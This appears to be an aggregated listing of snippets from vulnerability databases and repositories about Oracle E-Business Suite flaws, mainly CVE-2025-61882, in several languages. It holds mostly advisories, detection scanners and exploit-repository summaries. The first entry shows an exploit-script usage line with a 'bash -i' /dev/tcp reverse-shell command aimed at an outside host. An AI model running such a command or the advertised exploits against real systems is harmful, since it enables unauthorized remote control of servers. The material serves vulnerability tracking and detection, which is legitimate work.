watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882

watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882 Oracle E-Business Suite CVE-2025-61882 탐지 아티팩트 생성기 자세한 기술 내용은 블로그 포스트를 참조하세요. 탐지 동작 root@kitploit: python3 watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882.py --command 'bash -i & /dev/tcp/192.168.1.10/4444 0&1' --platform linux --target...

CVE-2025-61882-CVE-2025-61884

CVE-2025-61882 & CVE-2025-61884 편집: Oracle이 방금 새로운 취약점 CVE-2025-61884를 공개했습니다. 해당 취약점의 탐지 스크립트는 이 저장소에서 찾을 수 있으며 원본은 여기:https://gist.github.com/rxerium/6c70bc6b72fc0d1365c85937d35d9550입니다. Oracle 보안 권고에서 인용: 이 보안 경보는 Oracle E-Business Suite의 취약점 CVE-2025-61882를 다룹니다. 이 취약점은 인증 없이 원격으로 악용될 수 있습니다...

CVE-2025-61882-Oracle-EBS

Oracle E-Business Suite — CVE-2025-61882 이 저장소에는 ZeroZenX의 연구 산출물과 CVE-2025-61882에 대한 완전히 작동하는 익스플로잇 구현이 포함되어 있으며, 승인된 환경에서만 방어 연구, 침해 대응, 탐지 엔지니어링 및 패치 검증을 지원하기 위해 제공됩니다. 중요: 이 코드는 통제된 실험실 환경의 보안 전문가, 명시적 승인을 받은 침투 테스터, 그리고 완화 조치를 검증해야 하는 공급업체/운영자만 사용하도록 고안되었습니다. 소유하지 않은 프로덕션 시스템 또는 시스템에 대한 무단 사...

Oracle E-Business Suite 12.1.3/12.2.x - Open Redirect

The Oracle Applications Framework component of Oracle E-Business Suite subcomponent: Popup windows lists of values, datepicker, etc. is impacted by open redirect issues in versions 12.1.3, 12.2.3, 12.2.4, 12.2.5 and 12.2.6. These easily exploitable vulnerabilities allow unauthenticated attackers...

Oracle E-Business Suite <=12.2 - Authentication Bypass

Oracle E-Business Suite component: Manage Proxies 12.1 and 12.2 are susceptible to an easily exploitable vulnerability that allows an unauthenticated attacker with network access via HTTP to compromise it by self-registering for an account. Successful attacks of this vulnerability can result in...

CVE-2025-61882-Oracle-E-Business-Suite-Pre-Auth-RCE-Exploit

CVE-2025-61882 - Oracle E-Business Suite 사전 인증 RCE 익스플로잇 Oracle E-Business Suite버전 12.2.312.2.14의 치명적인 사전 인증 원격 코드 실행RCE 취약점으로, 악의적인 HTTP 요청을 통해 공격자가 취약한 서버에 대한 완전한 제어권을 획득할 수 있습니다 — 현재 실제 공격에 활발히 악용되고 있습니다. TL;DR CVE-2025-61882 는 Oracle E-Business SuiteEBS의 치명적인 사전 인증 RCE 취약점으로, 갈취/데이터 탈취 캠페인에서...

http-oracle-ebs-cve-2025-61882.nse

http-oracle-ebs-cve-2025-61882.nse Oracle E-Business Suite（CVE-2025-61882）を検出します。検出方法：多層チェック — フィンガープリンティング、バージョン確認、エンドポイント＆SSRFテスト、タイミング分析＆制御された悪用による4つの高信頼性結果。デフォルト＝安全なフィンガープリンティングのみ。aggressive=true を設定するとアクティブ/プロービングチェックが有効になり、注意して使用してください。提供：BattalionX [email protected]...

Blackash-CVE-2025-61882

🛡️🚨 CVE‑2025‑61882 — Oracle E‑Business Suite EBS의 심각한 사전 인증 원격 코드 실행 취약점 🚨🛡️ 요약: Oracle E‑Business Suite EBS의 심각한 사전 인증 원격 코드 실행 취약점 — 12.2.3 12.2.14 버전에 영향, CVSS 9.8 , 실제 환경에서 활발히 악용됨랜섬/갈취 활동 보고됨. oracle.com1 📌 빠른 사실 표...

Blackash-CVE-2025-61884

CVE-2025-61884 신규 Oracle E-Business Suite 버그, 로그인 없이 해커가 데이터에 접근 가능 💀 CVE-2025-61884 — 전체 요약 🧾💥...

CVE-2025-61882-CVE-2025-61884

CVE-2025-61882 & CVE-2025-61884 編集: Oracle は新しい脆弱性 CVE-2025-61884 を開示しました。この脆弱性の検出スクリプトは、このリポジトリまたは元の場所https://gist.github.com/rxerium/6c70bc6b72fc0d1365c85937d35d9550 にあります。 以下は Oracle のセキュリティアドバイザリ からの引用です： このセキュリティ・アラートは、Oracle E-Business Suite の脆弱性 CVE-2025-61882...

CVE-2025-61882

Oracle E-Business Suite RCE 스캐너 CVE-2025-61882 Oracle E-Business Suite 설치 환경에서 CVE-2025-61882를 탐지하는 빠르고 멀티스레드 기반 대량 스캐너입니다. 이 치명적인 취약점은 인증 없이 원격 코드 실행을 허용합니다. 🎯 주요 기능 대량 스캔 - 파일에서 수백 또는 수천 개의 대상 처리 멀티스레드 - 동시 스캔 수 설정 가능 기본값: 20개 스레드 자동 탐지 - id 명령 실행 및 출력 파싱을 통해 RCE 검증 실시간 결과 - 취약한 대상은...

CVE-2026-46817

🚨 CVE-2026-46817 - Критическое удаленное выполнение кода Oracle E-Business Suite – Oracle Payments Передача файлов Критическая удаленная уязвимость без аутентификации, затрагивающая Oracle Payments File Transmission, которая может позволить полностью скомпрометировать приложение через HTTP. 📌 Обз...

CVE-2025-53072-CVE-2025-62481

CVE-2025-53072 & CVE-2025-62481 Oracle E-Business Suite의 Oracle Marketing 제품에서 발견된 취약점입니다구성 요소: Marketing Administration. 이 탐지 방법은 어떻게 작동하나요? 이 Nuclei 템플릿은 서버의 Last-Modified 헤더가 패치 날짜인 2025년 10월 21일 이전의 빌드 날짜를 나타내는지 확인하고, E-Business Suite 홈 페이지 콘텐츠 및 200 상태 응답을 식별하여 CVE-2025-53072 및 CVE-2025-6248...

Enterprise-Information-Security-Risk-Assessment-Oracle-E-Business-Suite-Case-Study

情報セキュリティ:GDPR コンプライアンス & インシデントレスポンス 高リスクの生体認証監視システムCCTV、顔認識技術、集中型コンタクトトレーシング向けの包括的なセキュリティおよびプライバシーコンプライアンスフレームワーク。フレームワーク比較分析ISO 27001、Cyber Essentials、NIST CSF 2.0、COBITと、2025年のOracle E-Business Suite CVE-2025-61882侵害を分析した詳細なインシデントレスポンスケーススタディを含む。 目次 プロジェクト概要 第1章:データ保護コンプライアンス...

cve-2025-61882-oracle_ebs_rce_reproduction

CVE-2025-61882 — Oracle E-Business Suite 인증되지 않은 원격 코드 실행 CVSS 9.8 중요 개요 CVE-2025-61882는 Oracle E-Business Suite EBS에서 발견된 인증되지 않은 원격 코드 실행 취약점으로, Concurrent Processing 및 BI Publisher 구성 요소에 영향을 미칩니다. 이 결함으로 인해 HTTP를 통해 네트워크 접근이 가능한 인증되지 않은 공격자가 대상 시스템을 완전히 장악할 수 있습니다. 이 취약점은 Clop 랜섬웨어 그룹을 포함한 여러...

Oracle E-Business Suite 12.2.3 -12.2.11 - Remote Code Execution

Oracle E-Business Suite 12.2.3 through 12.2.11 is susceptible to remote code execution via the Oracle Web Applications Desktop Integrator product, Upload component. An attacker with HTTP network access can execute malware, obtain sensitive information, modify data, and/or gain full control over a...

Oracle E-Business Suite (August 2026 CSPU)

The versions of Oracle E-Business Suite installed on the remote host are affected by multiple vulnerabilities as referenced in the August 2026 CSPU advisory. - Vulnerability in the Oracle Payments product of Oracle E-Business Suite component: File Transmission. Supported versions that are affecte...

CVE-2026-61231

creationtimestamp| type| source ---|---|--- 2026-08-19 17:18:55+00:00| seen| https://www.acn.gov.it/portale/w/critical-patch-update-di-oracle-10 2026-08-23 01:07:06+00:00| seen| https://bsky.app/profile/cyberhub.blog/post/3mtplyjd3a62y...

vulnerabilities present in Oracle E-Business Suite

Oracle has identified vulnerabilities in various components of the Oracle E-Business Suite, including General Ledger, Payments, Workflow, Sales, Purchasing, Call Center Technology, and other modules within versions 12.2.3 through 12.2.15. These vulnerabilities enable attackers with low to high...

CVE-2026-71104

Vulnerability in the Oracle HRMS Netherlands product of Oracle E-Business Suite component: Netherlands Payroll. Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle HRMS...